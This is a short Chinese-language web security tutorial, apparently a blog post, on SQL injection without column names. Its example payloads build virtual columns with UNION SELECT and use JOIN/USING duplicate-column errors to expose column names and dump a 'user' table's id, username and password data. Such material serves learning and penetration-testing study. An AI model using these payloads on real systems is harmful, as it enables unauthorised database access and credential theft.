WEB安全--SQL注入--无列名注入

一、原理:

当我们只知道表名不知道列名时,可以通过联合查询创建虚拟字段查询信息,或者是利用join、using关键字报错得到列名。

二、利用手段:

2.1)创建虚表查询:

sql 复制代码
#创建虚表
select 1,2,3 union select * from user;

#查询第二列数据
select `2` from (select 1,2,3 union select * from user)xxx;

当反引号 ` 被过滤时,可以使用如下方式查询:

sql 复制代码
select b from (select 1 as a,2 as b,3 as c union select * from user)xxx;

2.2)join+using爆出列名:

sql 复制代码
# 得到 id 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b)as c;
# 得到 username 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b using(id))as c;
# 得到 password 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username))as c;
# 得到 user 表中的数据
select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username,password))as c;
 
相关推荐
Mr. zhihao1 小时前
SQL LEFT JOIN 与 WHERE 条件的隐藏坑
数据库·sql
silver98862 小时前
sql链接的url中serverTimezone的作用
数据库·sql
数据智能老司机3 小时前
实现逆向工程——理解 x86 机器架构
安全·逆向
数据智能老司机3 小时前
实现逆向工程——逆向工程的影响
安全·逆向
sleetdream4 小时前
Flink Sql 按分钟或日期统计数据量
sql·flink
2301_780789667 小时前
边缘节点 DDoS 防护:CDN 节点的流量清洗与就近拦截方案
安全·web安全·ddos
一宿君7 小时前
Github 9 个惊艳的开源 NL2SQL 项目
sql·nlp·github
江拥羡橙8 小时前
【基础-判断】HarmonyOS提供了基础的应用加固安全能力,包括混淆、加密和代码签名能力
安全·华为·typescript·harmonyos
小木话安全9 小时前
ISO27001 高阶架构 之 支持 -2
网络·安全·职场和发展·学习方法
ayaya_mana12 小时前
Nginx性能优化与安全配置:打造高性能Web服务器
运维·nginx·安全·性能优化